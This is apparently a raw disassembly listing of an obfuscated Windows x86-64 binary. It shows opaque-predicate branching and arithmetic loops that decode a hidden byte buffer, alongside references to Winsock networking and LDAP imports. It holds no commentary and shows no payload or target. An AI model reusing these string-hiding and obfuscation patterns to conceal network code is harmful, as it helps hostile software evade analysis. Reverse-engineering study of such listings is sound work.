ja 0x140117dce
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140117dab
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140117b9d
mov rbx, rcx
lea r10, [rcx + 0x40]
jmp 0x140117b9d
movabs rcx, 0x50d5a7e94718dfde
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x12
jmp 0x140117b90
movabs rcx, 0x46767ed1a987052a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x26
jmp 0x140117b09
movabs rcx, 0x3c1755ba0bf52a76
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3a
jmp 0x140117aad
movabs rcx, 0x67397bbfb3dbc310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140118471
movabs rdx, 0x5cda52a81649e85c
mov ecx, 0x3e
jmp 0x1401181d8
movabs rdx, 0x527b299078b80da8
mov ecx, 0x34
jmp 0x1401181a8
movabs rdx, 0x481c0078db2632f4
mov ecx, Ordinal_46
jmp 0x14011817e
movabs rdx, 0x3dbcd7613d945840
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401184eb
movabs rdx, 0x335dae49a0027d8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401184ee
movabs rdx, 0x28fe85320270a2d8
mov ecx, recv
jmp 0x1401182ef
movabs rdx, 0x1e9f5c1a64dec824
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118557
movabs rcx, 0x14403302c74ced70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401185ac
movabs rdx, 0x7a524c47bd604aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r9 + 0x320], dil
jmp 0x1401185bb
movabs rdx, 0x6ff323301fce6ffa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x140117f41
movabs rdx, 0x6593fa18823c9546
add rdx, r9
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x1000
jae 0x140118331
lea rax, [r10 + 0x5a]
cmp rbx, rax
jbe 0x1401182ba
movabs rdx, 0xa93d94c83c5c06d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x42
jb 0x140117ed8
movabs rcx, 0x10f52fb4640e91dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 8]
jmp 0x140118471
movabs rdx, 0x5b34d100e4aaba92
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [rbx + r10]
cmp rax, r12
je 0x140118360
lea rax, [r10 + 5]
cmp rbx, rax
jbe 0x140118224
movabs rcx, 0xbc56655045e08e72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1e
jmp 0x140117f18
movabs rcx, 0x8d6b1ccfc6e4d24c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x1401185ac
movabs rcx, 0x830bf3b82952f798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x140118557
movabs rcx, 0x78accaa08bc11ce4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
jmp 0x140118525
movabs rcx, 0x6e4da188ee2f4230
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x1401184ee
movabs rcx, 0x63ee7871509d677c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x1401184eb
movabs rcx, 0x598f4f59b30b8cc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x1401184c2
movabs rdx, 0x4f3026421579b214
mov ecx, Ordinal_60
jmp 0x1401181a8
movabs rdx, 0x44d0fd2a77e7d760
mov ecx, Ordinal_50
jmp 0x1401181d8
movabs rdx, 0x3a71d412da55fcac
mov ecx, Ordinal_41
jmp 0x14011820c
lea rcx, [r10 + 6]
cmp rbx, rcx
jae 0x140118112
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x140117fa4
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14011813e
movabs rcx, 0xd9ce5eefecf6f0c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x1401185ac
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14011816a
movabs rcx, 0x34b034e633e5b94
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
jmp 0x1401184eb
cmp rbx, rcx
jne 0x140118190
movabs rdx, 0xdaa2c6600d03648
mov ecx, 4
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140118355
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401181c0
movabs rdx, 0x1809557d9e6210fc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14011849a
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401181f0
movabs rdx, 0x22687e953bf3ebb0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118497
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140117fa4
movabs rdx, 0x2cc7a7acd985c664
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118471
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140118250
movabs rcx, 0xc6b58e67e3726926
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xa
jmp 0x140118471
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14011826d
movabs rdx, 0xd114b77f810443da
mov ecx, 5
jmp 0x1401181d8
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14011828a
movabs rdx, 0xdb73e0971e961e8e
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x1401181a8
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x140117f18
movabs rcx, 0x19aed724d0013ec6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x1401185ac
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401182d7
movabs rdx, 0xb39cbddfd9ede188
mov ecx, 0x24
jmp 0x14011839e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140118301
movabs rdx, 0xc85b100f151196f0
mov ecx, Ordinal_60
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140118384
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140117f54
movabs rcx, 0xdd19623e50354c58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401184eb
movabs rdx, 0x1b5458cc01a06c90
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x320]
add dil, dl
add dil, r8b
jmp 0x1401184c2
movabs rdx, 0x25b381e39f324744
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x320]
add dil, dl
add dil, r8b
jmp 0x140118525
movabs rdx, 0x4a3fa14c809c28b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401185ac
movabs rcx, 0x35814f1d4578734e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
jmp 0x140118525
movabs rcx, 0x2b222605a7e6989a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x36
jmp 0x1401184ee
movabs rcx, 0x20c2fcee0a54bde6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4a
jmp 0x1401184eb
movabs rcx, 0xc04aabecf31087e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x72
jmp 0x14011849a
movabs rdx, 0xf746588f940d5316
mov ecx, r14d
jmp 0x14011845e
movabs rdx, 0xe288066058e99dae
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x9624c44032d77f36
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x7a
add r8b, cl
mov byte [rbp + r9 + 0x320], r8b
add r10, r12
sub r9, r12
jmp 0x1401185bb
movabs rdx, 0xc36a8b1980340d92
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0xa083ed57d06959ea
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x66
add r8b, cl
add r8b, dil
mov byte [rbp + r9 + 0x320], r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401185bb
mov r8, r11
movabs rdx, 0xa44d0fd2a77e7d76
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x3a
add dil, dl
movabs rdx, 0xaae3166f6dfb349e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x52
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x320], al
add r10, r12
add rax, r10
sub r9, rax
movabs rdx, 0x3012aafb3cc421f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x320], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401185ac
movabs rcx, 0x8f8ebda36c5ac80e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x62
movzx eax, byte [rbp + r9 + 0x320]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140117a9a
movabs rcx, 0x31b82ca26e634fc2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
jmp 0x140117a97
movabs rcx, 0x2759038ad0d1750e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
jmp 0x140117a87
lea rcx, [rbp + 0x17f7b98]
jmp 0x140118622
lea rcx, [rbp + 0x14868f2]
jmp 0x140118622
lea rcx, [rbp + 0x320]
xor edx, edx
call fcn.1401a2714
movabs rsi, 0x9ef08ee37fe4627c
movabs r14, 0xe2ff43c1b0c1bb8c
movabs r12, 0x289fac1d7322f8a4
mov r13d, 0xeced0b92
mov r15d, 0xf84eee59
mov dword [rsp + 0x70], r15d
mov dword [rsp + 0x74], 0xb3002016
mov dword [rsp + 0x78], 0x2fd4df39
mov dword [rsp + 0x7c], 0xe80fd3a
mov dword [rbp - 0x80], 0xa52bcaf9
mov dword [rbp - 0x7c], 0x820621f3
mov dword [rbp - 0x78], 0x33b00bc5
test al, al
je 0x14011d7a0
mov byte [rbp + 0xad0], 0x9b
mov byte [rbp + 0xad1], 0x59
mov byte [rbp + 0xad2], 0x80
mov byte [rbp + 0xad3], 0x5b
mov byte [rbp + 0xad4], 0xa0
mov byte [rbp + 0xad5], 0x45
mov byte [rbp + 0xad6], 0xbb
mov byte [rbp + 0xad7], 0x47
mov byte [rbp + 0xad8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xad9], 0x41
mov byte [rbp + 0xada], 0xaf
mov byte [rbp + 0xadb], 0x43
mov byte [rbp + 0xadc], 0xde
mov byte [rbp + 0xadd], Ordinal_79
mov byte [rbp + 0xade], 0xdd
mov byte [rbp + 0xadf], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xae0], 0xac
mov byte [rbp + 0xae1], Ordinal_79
mov byte [rbp + 0xae2], 0x86
mov byte [rbp + 0xae3], Ordinal_79
mov byte [rbp + 0xae4], 0x99
mov byte [rbp + 0xae5], 0x75
mov byte [rbp + 0xae6], 0x98
mov byte [rbp + 0xae7], 0x77
mov byte [rbp + 0xae8], __WSAFDIsSet
mov byte [rbp + 0xae9], WSACleanup
mov byte [rbp + 0xaea], 0xef
mov byte [rbp + 0xaeb], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xaec], 0xe8
mov byte [rbp + 0xaed], 0x7d
mov byte [rbp + 0xaee], 0xe2
mov byte [rbp + 0xaef], 0x7f
mov byte [rbp + 0xaf0], 0x9c
mov byte [rbp + 0xaf1], 0x79
mov byte [rbp + 0xaf2], 0xbb
mov byte [rbp + 0xaf3], 0x7b
mov byte [rbp + 0xaf4], 0xf4
mov byte [rbp + 0xaf5], 0x65
mov byte [rbp + 0xaf6], 0xf6
mov byte [rbp + 0xaf7], 0x67
mov byte [rbp + 0xaf8], 0xac
mov byte [rbp + 0xaf9], 0x61
mov byte [rbp + 0xafa], 0x83
mov byte [rbp + 0xafb], 0x63
mov byte [rbp + 0xafc], 0xf0
mov byte [rbp + 0xafd], WSASetLastError
mov byte [rbp + 0xafe], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xaff], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xb00], Ordinal_143
mov byte [rbp + 0xb01], WSAGetLastError
mov byte [rbp + 0xb02], 0xa7
mov byte [rbp + 0xb03], WSASetLastError
mov byte [rbp + 0xb04], 0x88
mov byte [rbp + 0xb05], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xb06], 0xfe
mov byte [rbp + 0xb07], reloc.WS2_32.dll_socket
mov byte [rbp + 0xb08], 0xfd
mov byte [rbp + 0xb09], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb0a], 0x80
mov byte [rbp + 0xb0b], reloc.WS2_32.dll_send
mov byte [rbp + 0xb0c], 0xfd
mov byte [rbp + 0xb0d], Ordinal_32
mov byte [rbp + 0xb0e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xb0f], Ordinal_32
mov byte [rbp + 0xb10], 0xfa
mov byte [rbp + 0xb11], Ordinal_27
mov byte [rbp + 0xb12], 0xf3
mov byte [rbp + 0xb13], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xb14], __WSAFDIsSet
mov byte [rbp + 0xb15], 5
mov byte [rbp + 0xb16], 6
mov byte [rbp + 0xb17], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb18], xmm0
mov qword [rbp + 0xb28], rax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x60
jae 0x140119290
movzx r9d, byte [rbp + r11 + 0xad0]
mov r8d, r9d
cmp rdi, r11
ja 0x140119287
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401188f0
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x2c
jmp 0x14011891d
je 0x14011920d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401191ba
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14011915d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140119137
cmp r10, r11
ja 0x14011927e
lea rax, [r10 + 0x400]
cmp rdi, rax
jae 0x140118949
lea rcx, [r11 + rsi]
mov al, r9b
and al, cl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x64
add bl, cl
jmp 0x14011897d
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401190ee
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401190cb
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401190aa
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140119087
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x140118cb5
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x140118c94
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140118c80
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140118c5d
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x140118c3a
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x140118c19
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140118bf5
lea rdi, [r10 + 4]
lea r10, [rdi + 0x2a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140119264
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140119241
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x140118aa2
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x140118bde
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x140118bb0
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14011898a
lea rdi, [r10 + 2]
lea r10, [rdi + 0x41]
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140118b9c
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140118b76
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140118b55
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140118b2f
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140118b09
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140118ae6
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x140118ac5
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x28]
jmp 0x14011898a
movabs rdx, 0x4099ca2af930d504
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1c
add bl, dl
jmp 0x14011897d
movabs rdx, 0xf784771bff2313e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x20
jmp 0x14011910a
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x78
jmp 0x140119132
movabs rdx, 0x6b8768153c1c25b0
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140119155
movabs rdx, 0x198bd18b1791c068
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401191ab
movabs rdx, 0x538d4a07b60e4950
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
jmp 0x14011904c
movabs rdx, 0x8d8ec284548ad238
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401191d8
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140118d9b
movabs rdx, 0x5893e8387f3eb164
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r11 + 0xad0], bl
jmp 0x140119239
movabs rdx, 0x69851ae5ab44c1c
add rdx, r11
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140118ccb
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401191d6
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 8
jmp 0x14011904c
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x60
jmp 0x1401191ab
movabs rcx, 0x15ac2c40b6458458
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x140119155
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401190da
movabs rdx, 0x89af1d39f33e9628
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x14011910a
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x140118d83
lea rdx, [r11 + r14]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 2
je 0x140119025
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x140118e61
movabs rdx, 0x16d325271e29b05c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 0x80
jae 0x140118fff
lea rax, [r10 + 0x28]
cmp rdi, rax
jbe 0x140118f14
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp r10, 0x42
jb 0x140118bd1
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14011910c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140118db2
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, Ordinal_32
add rdx, r11
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011922a
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140118ddc
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x14011904c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140118e08
movabs rcx, 0x55db3bd485d6a158
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x1401191a8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140118e33
movabs rcx, 0x1bd9c357e75a1870
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x14011917e
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140118cda
movabs rdx, 0x6dd559e20be47db8
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 8
jmp 0x14011910a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140118e8b
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
jmp 0x14011910a
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140118eba
movabs rdx, 0xa2d0342de1309e8c
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140119132
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140118ee6
movabs rcx, 0xbaca523b673e7aec
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x74
jmp 0x1401191ab
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140118d16
movabs rdx, 0x80c8d9bec8c1f204
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1c
jmp 0x14011904c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140118f31
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140118d9b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140118f5b
movabs rdx, 0x41c0c31161150108
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
jmp 0x1401191d6
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140118f87
movabs rcx, 0x93bc599b859f6650
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x30
jmp 0x1401191a8
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140118fa4
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14011916c
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140118fd0
movabs rcx, 0x1fb968a248a65480
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
add bl, 0x80
jmp 0x140119155
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140118d51
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x140119132
movabs rdx, 0x37b386afceb430e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r11 + 0xad0]
sub bl, al
sub bl, 0x20
jmp 0x140119179
movabs rdx, 0xfdb20e333037a7f8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0xad0]
add bl, r9b
add bl, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xad0], al
inc r10
add rax, r10
sub r11, rax
jmp 0x1401191d8
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x54
jmp 0x1401191ab
movabs rdx, 0xb6eaacf105f23edc
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
jmp 0x14011917c
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r11
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140119132
movabs rdx, 0x64ef1666e167d994
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0xc
add bl, dl
movabs rcx, 0x54b442ee1df27554
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x4c
add r9b, cl
mov byte [rbp + r11 + 0xad0], r9b
inc r10
jmp 0x140119155
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
dec r11
jmp 0x140119239
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r11
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, bl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0xad0], cl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x140119239
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r11
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
add bl, dl
